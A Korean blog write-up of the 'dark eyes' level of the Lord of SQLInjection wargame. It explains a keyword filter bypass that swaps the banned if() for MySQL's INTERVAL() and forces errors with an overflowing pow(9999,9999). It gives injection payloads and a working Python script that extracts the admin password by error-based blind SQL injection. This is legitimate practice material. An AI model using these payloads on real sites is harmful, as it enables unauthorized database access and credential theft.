본문 바로가기

web/Lord of SQLInjection

Lord of SQLInjection - 22번 : dark eyes

문제 살펴보기

los dark eyes 문제

 

iron golem 문제와 상당히 유사하다.

문제 풀이에 필요한 코드를 살펴보도록 하자.

 

 

 

 

 

                                  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
                                  if(
preg_match('/col|if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe");

 

역시나 prob, _, ., ()가 필터링 되고 있다.

그리고 col, if, case, when, sleep, benchmark도 필터링 된다.

이전 문제에서 사용했던 if문을 사용할 수 없게 되었다.

이를 우회하는게 이번 문제의 목표인 것 같다.

 

 

 

 

 

                               $query "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";

                               $result = @mysqli_fetch_array(mysqli_query($db,$query));
                               if(
mysqli_error($db)) exit();

 

이번 문제는 query에서 error가 발생할 경우 빈 페이지를 보여준다.

이를 통해 error based blind sql injection을 수행하면 될 것 같다.

 

 

 

 

 

                              $_GET[pw] = addslashes($_GET[pw]);
                             
$query "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";

                              $result = @mysqli_fetch_array(mysqli_query($db,$query));
                              if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");

 

위 코드는 별 특별할게 없다. 그냥 admin의 pw 값을 알아내라는 문제다.

이제 페이로드를 구상하도록 하자.

 

 

 

 

 

문제 풀이 과정

if 문을 우회하는 방법을 구글링 하던 중 interval()이라는 함수를 발견했다.

interval 함수의 문법은 다음과 같다.

 

INTERVAL(N, N1, N2, N3, ...)

 

만약 N이 N1 보다 작을 경우 0을 반환하고, N이 N2 보다 작을 경우 1을 반환한다.

이런 식으로 N의 값 보다 큰 값을 가진 인자가 나올 때 까지 비교한다.

그런데 N의 값이 NULL인 경우 바로 -1을 반환한다.

 

INTERVAL(조건문 or NULL, 에러를 발생시키는 값)과 같이 사용면 if문을 대체할 수 있다.

조건문이 참일 경우 에러를 발생시키는 값으로 넘어가기 때문에 빈 화면이 보여질 것이고,

조건문이 거짓일 경우 NULL 값으로 인해 바로 -1을 반환하므로 에러가 발생되지 않는다.

 

따라서 iron golem에서 사용했던 python 코드의 if 문을 interval 함수를 사용하여 수정하면 문제가 풀릴 것이다. 

 

 

 

 

 


def find_admin_pw_length():     #id='admin'인 행의 pw의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'pw': "\'||id=\'admin\' and interval(length(pw)>"+str(i)+"||null,pow(9999,9999))#"}
        #?pw='||id='admin' and interval(length(pw)>i||null,pow(9999,9999))#
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if("query" in res.text):                            #i 값이 length(pw)일 경우 error가 발생되지 않음
            return i                                        
 

 

위 코드는 id='admin'인 행의 pw 컬럼 값의 길이를 구하는 코드이다.

위 코드를 실행하면 다음과 같은 결과가 나온다.

 

 

 

 

 


pw_length = find_admin_pw_length()
print("length :", pw_length)

 

pw 값의 길이

 

iron golem 문제에 비해서 상당히 짧은 길이를 가진다.

매우 마음에 든다.

이제 pw의 값을 구하도록 하자.

 

 

 

 

 

       
def find_password(length):      
    pw = ""
    for i in range(1, length+1):    #pw의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'pw': "\'||id='admin' and interval(pw like \'"+pw+char+"%\'||null,pow(9999,9999))#"}
            #?pw='||id='admin' and interval(pw like 'pw+char%'||null,pow(9999,9999))#
            res = req.get(url, cookies=cookies, params=params)
            if("query" not in res.text):
                pw+=char            
                break
    return pw

 

위 코드를 실행시켜서 pw의 값을 알아내도록 하자.

 

 

 

 

 


pw_value = find_password(pw_length)
print("pw :", pw_value)

 

pw의 값

 

이제 해당 값을 가지고 문제를 clear 해보자

 

 

 

 

 

dark eyes clear

 

전체 python 코드

 


import requests as req
import string

cookies = {'PHPSESSID' : '쿠키값'}      #cookie 값
chars = string.digits+string.ascii_letters+string.punctuation     #숫자+알파벳+특수문자

def find_admin_pw_length():     #id='admin'인 행의 pw의 길이를 반환하는 함수
    for i in range(0, 100):
        params = {'pw': "\'||id=\'admin\' and interval(length(pw)>"+str(i)+"||null,pow(9999,9999))#"}
        #?pw='||id='admin' and interval(length(pw)>i||null,pow(9999,9999))#
        res = req.get(url, cookies=cookies, params=params)  #get 방식으로 데이터 전송
        if("query" in res.text):                            #i 값이 length(pw)일 경우 error가 발생되지 않음
            return i                                        
       
def find_password(length):      
    pw = ""
    for i in range(1, length+1):    #pw의 길이만큼 반복
        for char in chars:          #chars = "숫자+알파벳 대소문자+특수문자"
            params = {'pw': "\'||id='admin' and interval(pw like \'"+pw+char+"%\'||null,pow(9999,9999))#"}
            #?pw='||id='admin' and interval(pw like 'pw+char%'||null,pow(9999,9999))#
            res = req.get(url, cookies=cookies, params=params)
            if("query" not in res.text):
                pw+=char            
                break
    return pw

 

 

 

 

 

if를 우회하는 다양한 방법에 대해서 알 수 있었던 문제다.

다른 방법들이 있지만 이건 나중에 글을 정리해서 올릴 예정.

다음 문제를 풀러 갑시다.